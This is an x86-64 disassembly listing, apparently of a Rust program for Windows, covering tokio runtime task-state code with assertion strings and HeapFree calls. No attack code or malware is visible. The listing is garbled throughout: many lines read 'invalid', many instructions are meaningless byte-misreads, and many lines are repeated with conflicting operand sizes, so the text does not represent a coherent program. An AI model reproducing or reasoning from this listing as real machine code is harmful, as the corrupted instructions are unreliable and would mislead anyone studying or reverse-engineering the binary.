lea eax, str.Chunkedstatechunk_lenextensions_cntEofAwaitingHeadersStreamingInitContinue
and al, 0x20
add eax, 0x48000000
lea eax, str.Chunkedstatechunk_lenextensions_cntEofAwaitingHeadersStreamingInitContinue
lea r9, [0x1401414f7]
mov r8d, 7
mov rcx, rdx
ror dword [rax - 0x77], 1
invalid
ror dword [rax - 0x77], 1
ret 0xc0e8
mov edx, eax
call fcn.140016f50
nop
add rsp, 0xa0
invalid
pop rsi
add byte [rsi - 0x3d], bl
ret
add rax, 8
add eax, 8
mov qword [rsp + 0x98], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
mov ecx, dword [rdx + 0x28]
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rbx + r9*4 + 0x4a], cl
mov ecx, dword [rdx + 0x28]
lea rax, [0x1401414c8]
mov ecx, dword [rdx + 0x28]
lea rax, [0x1401414c8]
lea eax, [0x1401414c8]
adc edi, dword [rdx - 0x47befff6]
mov edx, 0xb841000a
mov r8d, 6
invalid
mov rsi, rdx
mov rdx, rax
mov edx, eax
mov edx, eax
call qword [r9 + 0x18]
mov qword [rsp + 0x88], rsi
mov byte [rsp + 0x90], al
mov qword [rsp + 0x80], 0
mov byte [rsp + 0x91], 0
lea r8, [0x14012bdd8]
lea eax, [0x14012bdd8]
lea eax, [0x14012bdd8]
jmp 0x140095b45
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rbx + r9*4 + 0x4a], cl
invalid
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
add eax, 0xaba08
mov r8d, 3
add byte [rax], al
add byte [rax], al
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x88], rsi
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
mov byte [rsp + 0x90], al
mov qword [rsp + 0x80], 0
mov byte [rsp + 0x91], 0
test byte [rcx + rdx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
test byte [rcx + rdx*4], ah
xchg ecx, eax
add byte [rax], al
add byte [rax], al
lea r8, [0x14012af58]
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x98]
add byte [rax], al
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add al, ch
or al, 0xf8
dec dword [rax - 0x75]
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rdi], cl
mov dh, 0x94
xchg esp, eax
add byte [rax], al
call fcn.140016790
mov rcx, qword [rsp + 0x80]
movzx edx, byte [rsp + 0x90]
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rax - 0x7b], cl
leave
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rax - 0x7b], cl
leave
je case.0x1400733a2.140
mov al, 1
test dl, dl
jne case.0x140070c13.173
mov rsi, qword [rsp + 0x88]
cmp rcx, 1
stc
add dword [rbp + 0x30], esi
stc
add dword [rbp + 0x30], esi
cmp byte [rsp + 0x91], 0
add byte [rax], al
je 0x140095bb3
test byte [rsi + 0x34], 4
jne 0x140095bb3
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rsi + 0x28]
lea rdx, [0x140143ec0]
sub byte [rax - 0x73], r9b
adc eax, 0xae31e
mov r8d, 1
mov eax, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
sbb byte [rcx - 0x7bfe4f3f], cl
leave
jne case.0x140070c13.173
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
lea rdx, [0x14014d458]
mov r8d, 1
js 0x140095bcc
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
jmp case.0x140070c13.173
add cl, byte [rcx + 0xfc084d0]
xchg ebp, eax
ror byte [rax - 0x7f], 0xc4
movabs al, byte [0xccccccc35e000000]
add byte [rax], al
add byte [rsi - 0x3d], bl
pop rsi
ret
int3
int3
int3
push r14
push rsi
mov eax, edx
test al, al
setne al
add rsp, 0xa0
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi - 0x3d], bl
pop rsi
ret
pop rsi
ret
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x258
in al, dx
pop rax
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x240], esi
and al, 0x40
add al, byte [rax]
invalid
in al, dx
pop rax
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x240], esi
and al, 0x40
add al, byte [rax]
invalid
and al, 0x40
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov rax, qword [rcx]
mov eax, dword [rcx]
jmp 0x140095c1a
invalid
invalid
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
je 0x140095c45
test al, 4
je 0x140095e90
add al, byte [rax]
add byte [rax + 0x48da7403], ch
cmp eax, 0x3f
test al, 3
je 0x140095c00
cmp rax, 0x3f
jbe 0x140095ea8
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x140095c1a
invalid
movzx eax, dl
lea rcx, [0x140177d08]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0x28], rax
sub byte [rax - 0x77], cl
je 0x140095c8c
and al, 0x30
sub byte [rax - 0x77], cl
je 0x140095c8c
invalid
and al, 0x30
xor byte [rax - 0x73], cl
and al, 0x28
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x48], 0
mov eax, dword [rsi + 0x30]
not eax
test al, 6
je 0x140095ec0
add byte [rax], al
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140095cf3
xorps xmm6, xmm6
test eax, eax
jne 0x140095d1f
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
mov rbx, rcx
mov rcx, rax
call fcn.1400d4a00
mov rcx, rbx
mov byte [r14 + 0x120], 1
add byte [rcx], al
add byte [rcx], al
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x38]
call fcn.14007b790
mov ecx, dword [0x140182314]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
invalid
je 0x140095d7d
add dword [rbp + rsi - 0x7b], esi
leave
test ecx, ecx
jne 0x140095d97
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
invalid
mov rdi, qword [rdx + rcx*8]
retf 0x8d48
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
add byte [rax - 0x73], cl
adc eax, 0x4e563
mov ebx, eax
call fcn.1400d4a00
add byte [rcx + 0x2087c6d8], cl
add dword [rax], eax
add byte [rcx], al
add byte [rcx + 0x2087c6d8], cl
fadd st(6)
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
and eax, 0x58
xchg ecx, eax
invalid
and eax, 0x58
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lock add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rdi, [rsi + 0x20]
test al, al
je 0x140095e36
xchg ebx, eax
add byte [rax], al
invalid
mov rcx, rsi
int1
call fcn.1400e6d10
movzx eax, al
lea rcx, [0x140177d18]
lea ecx, [0x140177d18]
lea ecx, [0x140177d18]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec5d0
invalid
invalid
add eax, ebp
jmp qword [rdi + 5]
invalid
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
invalid
rol dword [rsi], 0x48
cmp eax, 0x3f
clc
invalid
cmp rax, 0x3f
jbe 0x140095ef8
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140095dbc.0
mov rcx, rsi
call 0x140096200
add byte [rax], al
add byte [rax], al
jmp case.0x140095dbc.0
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.140096a40
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x39], r9b
and al, 0x60
add dword [rax], eax
add byte [rax], al
sub byte [rax - 0x39], r9b
and al, 0x60
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x78], rax
jmp 0x140095e5d
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.140096a40
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
and al, 0x70
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], 6
lea rdx, [rsp + 0x58]
lea edx, [rsp + 0x58]
mov rcx, rdi
call fcn.140096a40
mov rcx, rsi
call 0x1400962c0
movaps xmm6, xmmword [rsp + 0x240]
add rsp, 0x258
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x58]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
sub eax, dword [rax]
add byte [rax], al
call fcn.140108350
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400960ef
and rax, 0xffffffffffffffc0
loopne 0x14009609a
cmp rax, 0x40
jne 0x1400960e9
add rsp, 0x28
jmp 0x140096200
nop
add rsp, 0x28
invalid
sub bl, al
invalid
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
cmp rax, 0x3f
jbe 0x1400961d8
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400961cd
add rsp, 0x208
pop rdi
pop rsi
add al, byte [rax]
add byte [rdi + 0x5e], bl
jmp 0x140096200
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x20
mov rcx, rsi
call fcn.140096a40
mov rcx, rdi
add rsp, 0x208
pop rdi
pop rsi
jmp 0x1400962c0
nop
add rsp, 0x208
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14009621d
lea rcx, [rsi + 0x20]
call fcn.1400687d0
invalid
std
invalid
and eax, 0x8b48fffd
xor byte [rcx + 0x4cd2f7c2], r9b
lea eax, [rax - 5]
mov rax, qword [rsi + 0x30]
mov edx, eax
not edx
lea r8, [rax - 5]
xor ecx, ecx
test dl, 6
cmove rcx, r8
cmp rcx, 1
je 0x140096252
test rcx, rcx
jne 0x14009628f
add rax, 0xfffffffffffffffd
cmp rax, 3
cmp eax, 3
cmp eax, 3
jb 0x14009628f
lea rcx, [rsi + 0x30]
call fcn.14007b470
jmp 0x14009628f
xor al, ch
and byte [rdx - 2], dl
invalid
cmp qword [rsi + 0x38], 0
je 0x14009628f
invalid
mov rdi, qword ss:[rsi + 0x40]
mov rdi, qword [rsi + 0x40]
mov edi, dword [rsi + 0x40]
test rdi, rdi
test edi, edi
je 0x14009628f
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
pop rsi
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
cmp dword [rbx + 8], 0
cmp dword [rbx + 8], 0
or byte [rax], al
je 0x14009628f
cmp qword [rbx + 0x10], 0x11
jb 0x14009627d
invalid
add al, 0x48
mov edi, dword [rdi - 8]
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
fdivr qword [rdi - 0x2dcefff2]
invalid
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
rol byte [rdi], 0
rol byte [rdi], 0
mov rax, qword [rsi + 0x228]
mov eax, dword [rsi + 0x228]
test rax, rax
je 0x1400962a5
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x18]
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rsi
sub rsp, 0x240
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
ror dword [rax - 0x7d], 0xf1
add esi, eax
cmpxchg qword [rsi], rcx
jne case.0x140050c3f.261
test al, 1
je 0x140096379
xchg ebx, eax
add byte [rax], al
add byte [rax], al
test al, 2
jne 0x140096391
movabs dword [0x48197508a8000000], eax
add byte [rax], al
test al, 2
jne 0x140096391
invalid
add byte [rax], al
add byte [rax], al
movabs dword [0x48197508a8000000], eax
add byte [rax], al
test al, 8
jne 0x14009630b
lea rcx, [rsi + 0x20]
lea ecx, [rsi + 0x20]
and byte [rax - 0x39], r9b
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
and al, 0x58
and al, 0x58
pop rax
invalid
and al, 0x58
call fcn.140096a40
jmp 0x140096329
add bl, ch
invalid
test al, 0x10
je 0x140096329
mov rax, qword [rsi + 0x228]
test rax, rax
je 0x140096415
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec470
invalid
add eax, 0xf8834800
add dword [rax + 2], edi
sbb rax, 0
fadd dword [rax]
invalid
fadd dword [rax]
mov qword [rsp + 0x28], rax
shl eax, 6
neg rax
fdiv st(0)
xadd qword [rsi], rax
fdiv st(0)
xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
jb 0x1400963a9
jne 0x14009636f
mov rcx, rsi
add rsp, 0x240
add byte [rsi - 0x17], bl
xchg ecx, eax
invalid
invalid
invalid
add byte [rsi - 0x17], bl
xchg ecx, eax
invalid
nop
add rsp, 0x240
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014de48]
add eax, 0xb7ac1
mov edx, 0x23
call fcn.140108350
invalid
add byte [rax - 0x73], cl
or eax, 0xb7ac8
lea rcx, str.assertion_failed:__prev.is_complete__
lea ecx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014de88]
mov edx, 0x25
jp 0x1400963a9
add byte [rdx + 0x25], bh
add byte [rax], al
call fcn.140108350
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x38], eax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x28]
sub byte [rax - 0x77], cl
and al, 0x48
sub byte [rax - 0x77], cl
and al, 0x48
mov qword [rsp + 0x50], rax
push rax
lea rax, str.current:___sub:
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
add byte [rax], al
mov dword [rsp + 0x60], 2
and al, 0x60
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
js 0x1400963ee
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x38
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, [0x14014ded0]
jp 0x140096415
invalid
push 0x2444c748
jo 0x140096403
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xb7ac5
jp 0x140096415
invalid
jp 0x140096415
add byte [rax - 0x73], cl
and al, 0x58
lea rcx, [rsp + 0x58]
call fcn.140108280
lea rax, str.waker_missing
lea eax, [0x14014da58]
cmp al, 0x76
or eax, dword [rax]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
and al, 0x60
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
and al, 0x70
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x70
jo case.0x140095028.17
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea edx, [0x14014da68]
lea rcx, [rsp + 0x58]
and al, 0x58
call fcn.140108280
int3
pop rax
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x240], esi
mov rsi, rcx
mov rax, qword [rcx]
mov eax, dword [rcx]
jmp case.default.0x1400964c6
cmpxchg qword [rsi], rcx
je 0x1400964b5
test al, 4
je 0x1400966f9
jno 0x1400964a0
add byte [rax], al
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
retf 0xf002
cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
retf 0xf002
cmpxchg dword [rsi], ecx
jne case.default.0x1400964c6
movzx eax, dl
lea rcx, [0x140177d28]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
lea rax, [0x14014e140]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
mov eax, dword [rsi + 0x30]
not eax
test al, 6
je 0x140096729
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
invalid
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140096563
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14009658f
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
xchg al, dl
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x4dd83
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
adc eax, 0x4dd83
fld qword [rax + rax]
mov rbx, rcx
mov rcx, rax
call fcn.1400d4a00
test al, 0xe4
add eax, dword [rax]
test al, 0xe4
add eax, dword [rax]
mov rcx, rbx
mov byte [r14 + 0x120], 1
and byte [rcx], al
add byte [rax], al
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xebdab05], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
add byte [rax - 0x73], cl
push rsp
and al, 0x38
lea rdx, [rsp + 0x38]
call fcn.14007b790
mov ecx, dword [0x140182314]
mov ebp, 0x4865000e
mov edx, dword [0x58]
mov ebp, 0x4865000e
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
test ecx, ecx
jne 0x140096607
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
invalid
push rdx
mov ebp, 0x4865000e
invalid
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
invalid
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea ecx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
mov ebx, eax
call fcn.1400d4a00
mov eax, ebx
mov byte [rdi + 0x120], 1
and byte [rcx], al
add byte [rax], al
invalid
ret
add dword [rbx + 0xebd210d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov ecx, dword [0x140182314]
or eax, 0xebd21
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
test al, al
je 0x14009669f
invalid
mov word [rax], es
add byte [rax], al
test byte [rax + rax - 0x76b80000], cl
int1
mov rcx, rsi
mov ecx, esi
call fcn.1400e6d10
movzx eax, al
lea rcx, [0x140177d38]
movsxd rax, dword [rcx + rax*4]
invalid
add byte [rax + 0x63], cl
add al, 0x81
invalid
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eabe0
bnd call fcn.1400eabe0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
invalid
rol dword [rsi], 0x48
cmp eax, 0x3f
jbe 0x140096761
adc dword [rcx], eax
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14009662c.0
add byte [rax], al
mov rcx, rsi
call 0x140096980
add byte [rax], al
add byte [rax], al
jmp case.0x14009662c.0
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
add byte [rax - 0x73], cl
push rsp
and al, 0x58
mov rcx, rdi
call fcn.140096a40
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
mov qword [rsp + 0x78], rax
jmp 0x1400966c6
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.140096a40
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], 6
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.140096a40
mov rcx, rsi
call fcn.140096c00
movaps xmm6, xmmword [rsp + 0x240]
add rsp, 0x258
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x58]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14009699d
lea rcx, [rsi + 0x20]
call fcn.1400396d0
mov rax, qword [rsi + 0x30]
mov edx, eax
not edx
lea r8, [rax - 5]
xor ecx, ecx
test dl, 6
cmove rcx, r8
cmp rcx, 1
je 0x1400969d2
test rcx, rcx
jne 0x140096a0f
add rax, 0xfffffffffffffffd
cmp rax, 3
jb 0x140096a0f
lea rcx, [rsi + 0x30]
call fcn.14007b470
jmp 0x140096a0f
cmp qword [rsi + 0x38], 0
je 0x140096a0f
mov rdi, qword [rsi + 0x40]
test rdi, rdi
je 0x140096a0f
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140096a0f
cmp qword [rbx + 0x10], 0x11
jb 0x1400969fd
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x228]
test rax, rax
je 0x140096a25
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
lea rsi, [rcx + 0x10]
mov rax, qword [rcx + 0x10]
mov r9d, eax
not r9d
lea r10, [rax - 5]
xor r8d, r8d
rol byte [rcx - 0xa], 0xc1
invalid
cmove r8, r10
cmp r8, 1
je 0x140096b26
rol byte [rcx - 0xa], 0xc1
invalid
test r8, r8
jne 0x140096b6d
add rax, 0xfffffffffffffffd
cmp rax, 3
jb 0x140096b6d
mov rcx, rsi
mov rdi, rdx
xlatb
xlatb
call fcn.14007b470
mov rdx, rdi
jmp 0x140096b6d
cmp qword [rcx + 0x18], 0
je 0x140096b6d
mov rdi, qword [rcx + 0x20]
jns 0x140096b51
test rdi, rdi
je 0x140096b6d
mov r14, qword [rcx + 0x28]
mov rcx, rdi
mov rbx, rdx
call qword [r14]
mov rdx, rbx
cmp qword [r14 + 8], 0
je 0x140096b6d
cmp qword [r14 + 0x10], 0x11
jb 0x140096b58
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, rbx
invalid
fiadd dword [rcx - 0x48]
call 0x188096b75
mov ecx, esi
mov r8d, 0x1e8
mov rcx, rsi
call fcn.140106250
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140096bcb
test eax, eax
jne 0x140096be5
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
adc edi, edx
add al, 0
adc edi, edx
add al, 0
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
add eax, 0xeb743
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
in al, dx
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140096c10
test al, 1
je 0x140096cb9
test al, 2
jne 0x140096cd1
test al, 8
jne 0x140096c4b
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
call fcn.140096a40
jmp 0x140096c69
test al, 0x10
je 0x140096c69
mov rax, qword [rsi + 0x228]
test rax, rax
je 0x140096d55
add al, byte [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
test byte [rax], 0
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ea850
and byte [rax - 0x77], cl
bnd call fcn.1400ea850
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x28], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x28]
jb 0x140096ce9
jne 0x140096caf
mov rcx, rsi
add rsp, 0x240
